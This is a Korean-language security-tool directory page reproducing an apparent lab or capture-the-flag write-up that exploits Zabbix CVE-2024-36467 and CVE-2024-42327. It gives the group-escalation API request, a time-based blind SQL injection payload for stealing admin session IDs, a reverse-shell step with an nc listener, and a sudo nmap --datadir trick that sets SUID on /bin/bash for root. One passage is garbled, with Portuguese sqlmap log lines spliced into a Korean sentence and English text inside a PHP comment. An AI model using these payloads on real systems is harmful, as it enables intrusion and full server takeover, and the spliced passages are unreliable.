Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-42327 — 분석 cve-2024-42327 | Kitploit
도구/GitHubGitHub/igorbf495/cve-2024-42327
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubigorbf495/cve-2024-42327

CVE-2024-42327

1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

분석 cve-2024-42327

저장소 보기

CVE-2024-42327 Zabbix 취약점 분석

대상: 10.129.231.176

정보: 내 대상은 Zabbix 서버입니다. Zabbix에 로그인하기 위해 기본 사용자 계정을 받았습니다: 사용자 matthew 비밀번호 96qzn0h2e1k3. 이 계정은 기본 사용자이며 추가 그룹이나 권한이 없습니다.

평소와 같이 열거부터 시작합니다. nmap을 사용하여 포트 스캔을 수행합니다.

image

nmap 출력은 기본 SSH 포트와 Apache2도 기본 포트에 있음을 보여줍니다. 또한 Zabbix 서비스를 실행 중인 10051 및 10050 포트가 있습니다.

브라우저 URL에 IP를 입력하고 기본 HTTP 포트인 80번 포트로 Zabbix에 접속합니다.

image

이것은 Zabbix 로그인 화면입니다. 받은 사용자로 로그인합니다.

image

image

바닥글에서 Zabbix 버전을 찾았습니다:

image

구글신을 사용하여 이 Zabbix 버전에 CVE가 있는지 검색했습니다.

image

오랜 검색 끝에 이 버전이 CVE-2024-42327 (데이터베이스 데이터를 얻고 권한을 상승시키는 SQL 인젝션 취약점) 및 CVE-2024-36467 (누락된 접근 제어를 악용하여 사용자 역할을 슈퍼유저로 변경할 수 있음)에 취약하다는 것을 알게 되었습니다.

https://nvd.nist.gov/vuln/detail/CVE-2024-36467

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

Zabbix 문서에는 API를 호출하기 위한 HTTP 요청 방법이 설명되어 있습니다.

image

https://www.zabbix.com/documentation/current/en/manual/api

문서에 나와 있는 대로 apiinfo.version을 호출하는 요청을 보냈습니다.

image

다음과 같은 응답을 받았습니다:

root@kitploit:~
{"jsonrpc":"2.0","result":"7.0.0","id":1}

다음 테스트를 위해 이 요청의 일부 매개변수를 변경하여 다시 보냈습니다.

image

method를 apiinfo.version에서 user.login으로 변경하고 username 및 password 매개변수를 추가했습니다. 이것도 Zabbix 문서에서 확인했습니다.

image

다음과 같은 토큰을 반환했습니다:

root@kitploit:~
{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}

더 검색한 후 Zabbix GitHub 저장소로 가기로 결정했습니다.

https://github.com/zabbix/zabbix

CUser에 대해 검색하여 CUser.php 파일을 찾았습니다.

image

user.update 함수를 찾았습니다:

root@kitploit:~
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}

권한 검사를 찾지 못했기 때문에 내 역할을 슈퍼유저 역할로 변경하기로 결정하고 요청으로 돌아가 페이로드를 조정했습니다.

image

invalid params 오류 메시지가 반환되었습니다.

코드를 더 자세히 분석한 후 이 함수를 발견했습니다.

root@kitploit:~
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}

이 스니펫에 따르면 API 토큰에서 데이터를 추출하고 데이터베이스에서 해당 사용자임을 확인하여 역할을 확인하기 때문에 역할을 변경할 수 없습니다. 그러나 코드를 분석해 보면 usrgrps에 검증이 전혀 없으며, 이로 인해 한 번에 여러 그룹에 자신을 추가하는 데 악용될 수 있습니다. 그룹이 비활성화되지 않고 GUI 접근이 허용되는 한, 이 취약점을 악용하여 현재 역할을 변경할 수 있습니다. 사용자 ID 3은 matthew이며, 사용자 그룹 7은 Zabbix administrators 그룹이고 사용자 그룹 13은 Internal 그룹으로, 둘 다 제한 없는 권한을 가지고 있습니다. 응답은 변경이 성공했음을 나타냅니다.

이 검증 부재를 이용하여 권한 상승을 시도합니다. 페이로드를 편집하고 요청을 다시 보냈습니다.

image

userid 3은 사용자 matthew의 ID를 나타냅니다. usrgrps에는 그룹 ID 목록이 포함됩니다: 13은 Internal 그룹이고 7은 Zabbix administrators 그룹입니다. 서버 응답은 작업 성공을 확인합니다:

root@kitploit:~
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

이제 현재 사용자의 사용자 그룹을 추출할 수 있습니다. 요청을 수정하여 다시 보냅니다.

image

응답을 확인하면 ID 3의 사용자가 Internal 및 Zabbix administrators 그룹에 있음을 알 수 있습니다.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}

유효한 호스트 그룹이 Zabbix administrators 그룹에 할당된 시나리오에서는 아이템 생성을 활용하여 원격 코드 실행을 트리거할 수 있으며, 이는 다음 CVE에서 다룹니다.

CVE-2024-42327 악용

CUser 클래스의 소스 코드를 다시 분석하여 user.get 함수를 68번째 줄에서 조사합니다. 108번째 줄에는 다음 코드로 확인이 있습니다:

root@kitploit:~
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}

이 코드에서 API 요청에 editable 옵션이 제공되면 사용자 그룹을 검증하는 대신 현재 사용자 ID가 현재 사용자와 일치하는지만 확인하므로 user.get 함수 사용 시 권한을 무시합니다. 234번째 줄에서 addRelatedObjects가 호출되는데, 이는 SQL 인젝션에 취약한 함수입니다. addRelatedObject 함수를 2969번째 줄에서 분석하면 대부분의 SQL 문이 안전해 보이지만 3041번째 줄에 도달하면 문제가 발생합니다.

root@kitploit:~
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;

이 블록에서 selectRole 옵션이 지정되면 사용자 입력을 정리하지 않고 DBSelect 함수에 안전하지 않은 호출이 이루어집니다. 이로 인해 시간 기반 및 Boolean Blind SQL 인젝션이 발생합니다.

이를 테스트하기 위해 이 링크에서 페이로드를 가져와 selectRole 매개변수에서 성공적인 인젝션 지점이 있는지 확인했습니다.

image

적중에 성공하여 대상이 5초 동안 지연됩니다.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%

Charles Proxy를 사용하여 요청을 가로채고 다음 요청을 파일에 저장했습니다:

image

이제 SQLMap을 사용하여 가능한 취약점을 식별하고 데이터베이스에서 데이터를 추출하려고 시도합니다:

image

잠시 후 다음과 같은 결과를 얻었습니다:

root@kitploit:~
available databases [2]:
[*] information_schema
[*] zabbix

출력에 따르면 시간 기반 SQL 인젝션을 악용하여 데이터베이스 이름을 성공적으로 얻었습니다.

이제 RCE(원격 코드 실행)를 시도합니다.

잘못 구성된 에이전트를 사용하여 원격 코드 실행을 얻을 수 있습니다. 시간 기반 SQL 인젝션에서 이를 수행하려면 데이터베이스에서 세션 테이블을 유출하여 Admin 사용자가 인증되었는지 확인해야 합니다. 불행히도 시간 기반 공격이므로 시간이 다소 걸릴 수 있으므로, 관리자 세션을 더 빠르게 추출하기 위해 멀티스레드 스크립트를 포함했습니다.

페이로드는 다음과 같습니다:

image

이는 중첩된 시간 기반 SQL 인젝션으로, name 매개변수에 페이로드를 주입하고 AND를 추가하여 조건을 연결합니다.

root@kitploit:~
SELECT * FROM (SELECT(SLEEP(...)))BEEF

외부 SELECT 조건을 사용하여 SLEEP 조건을 BEEF 레이블이 지정된 하위 쿼리로 감쌉니다.

root@kitploit:~
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))

SLEEP 조건은 이 스크립트에서 TRUE_TIME 값인 1초를 사용하며, 사이트 또는 API에 인증된 활성 관리자 계정의 sessionid를 검색합니다. 위의 SELECT 조건은 MID 조건으로 캡슐화된 인덱스(ROW) 0에서 첫 번째 결과를 검색합니다. MID 조건을 사용하여 sessionid 내의 특정 위치에서 문자를 추출하며, 위치는 증가하고 ORD 조건으로 캡슐화됩니다. ORD 조건은 추출된 문자를 ASCII 값으로 변환하여 비교하고 IF 조건으로 캡슐화됩니다. IF 조건 [17:26:03] [INFO] estendendo automaticamente intervalos para injeção de consulta UNION teste de técnica, pois há pelo menos uma outra técnica (potencial) encontrada [17:26:04] [INFO] verificando se o ponto de injeção no parâmetro POST (personalizado) '#1*' é um falso positivo O parâmetro POST (personalizado) '#1*' é vulnerável. Você quer continuar testando os outros (se houver)? [s/N] n sqlmap identificou os seguintes pontos de injeção com um total de 77 solicitações HTTP(s): bancos de dados disponíveis [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))

추출된 문자가 예상 ASCII 문자(ord(char))와 일치하는지 확인합니다. 조건이 충족되고 SLEEP 조건이 트리거되면 올바른 문자를 식별한 것이며 32자리의 sessionid를 유출할 수 있습니다.

Python 스크립트를 작성하여 실행했습니다.

image

image

스크립트를 실행한 후 단 30초 만에 관리자 세션을 성공적으로 얻었습니다.

image

Admin 사용자의 API 토큰을 사용하여 아이템을 생성한 다음 작업을 통해 아이템을 트리거할 수 있습니다. 먼저 아이템을 생성해야 하지만 현재 호스트 ID와 인터페이스 ID를 얻어야 합니다.

image

응답:

root@kitploit:~
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

이제 다음 페이로드로 아이템을 생성할 수 있습니다:

image

페이로드를 실행하기 전에 포트 4448에서 nc 리스너를 설정하고 몇 초 기다립니다.

image

이제 페이로드를 실행할 시간입니다.

image

성공했습니다. 작업이 악성 페이로드로 생성되었고 RCE(원격 코드 실행)에 성공하여 서버에 접근할 수 있습니다.

image

이제 서버에 접근했으므로 권한 상승을 진행하여 서버의 root 접근을 시도합니다.

현재 zabbix 사용자이므로 sudo 권한으로 실행할 수 있는 데몬(프로그램)이 있는지 확인합니다:

image

/usr/bin/nmap을 제한 없이 실행할 수 있음을 알 수 있습니다. 인터넷에서 검색한 결과 GTFOBins 프로젝트를 찾았습니다. GTFObins는 Unix/Linux 시스템에서 발견되는 바이너리들을 나열하는 저장소로, 권한 상승, 제한된 환경(예: chroot 또는 컨테이너) 탈출, 악성 명령 실행에 창의적으로 사용될 수 있습니다.

image

https://gtfobins.github.io/gtfobins/nmap/#sudo

gtfobins의 sudo 탈출을 시도해 봅니다.

image

Nmap이 래퍼 스크립트로 보호되는 것 같습니다. 잠재적으로 악용 가능한 Nmap 옵션 사용을 제한하기 위해 구현된 추가 보호 계층입니다. /usr/bin/nmap 파일을 읽어 보겠습니다. nano 텍스트 편집기를 사용하여 이 파일을 열고 분석합니다.

image

많은 연구 끝에 GTFOBins의 모든 탈출 방법이 이 시나리오에서 쓸모없다는 것을 알게 되었습니다. Nmap을 일반적인 권한 상승 방법으로부터 보호하기 위해 래퍼를 구현했습니다. 선택의 여지가 없어서 Nmap 라이브러리를 읽기로 했습니다.

오랜 독서 끝에 흥미로운 옵션인 --datadir을 발견했습니다.

https://nmap.org/book/data-files-replacing-data-files.html

root@kitploit:~
--datadir <dirname>: Specify custom Nmap data file location

이 옵션을 사용하면 기본 스크립트 및 기타 필수 nmap 데이터 파일이 저장되는 데이터 디렉토리를 지정할 수 있으며, 이 경우 기본값은 /usr/share/nmap입니다. 이 파일의 권한을 확인해 보겠습니다:

image

이 파일들에 대해 조사한 결과, nse_main.lua 파일이 -sC 매개변수로 트리거될 수 있는 기본 스크립트 파일이며, Nmap Scripting Engine(NSE)의 주요 스크립트 파일입니다. Nmap이 -sC 옵션(기본 스크립트 검색)과 함께 사용될 때 실행되는 함수를 포함합니다. 이 이름으로 악성 스크립트를 생성하면 Nmap이 자동으로 실행하도록 할 수 있습니다. 이를 악용하기 위해 /tmp/nse_main.lua 파일을 생성하고 내부에 os.execute("chmod 4755 /bin/bash")를 넣습니다.

image

image

localhost를 -sC 옵션으로 스캔하면 /bin/bash에 SUID가 설정되고 유효 UID가 root인 셸이 생성됩니다.

image

--datadir=/tmp: Nmap이 /tmp 디렉토리에서 구성 파일과 스크립트를 찾도록 합니다. 여기에는 악성 nse_main.lua 스크립트도 포함됩니다. -sC: 방금 생성한 악성 스크립트를 포함한 기본 스크립트 실행을 활성화합니다. localhost: Nmap이 로컬 시스템을 스캔하도록 합니다. nse_main.lua 스크립트는 Nmap에 의해 root 권한으로 실행됩니다(명령이 sudo로 실행되었기 때문).

image

SUID가 활성화되었으므로 /bin/bash -p를 실행할 수 있습니다.

image

-p: SUID 비트를 유지하고 소유자(root)의 권한으로 bash를 실행합니다.

image

uid=114: zabbix 사용자의 ID. euid=0: 효과적으로 root로 작동 중.

이제 root 권한을 얻었습니다.

도구 다운로드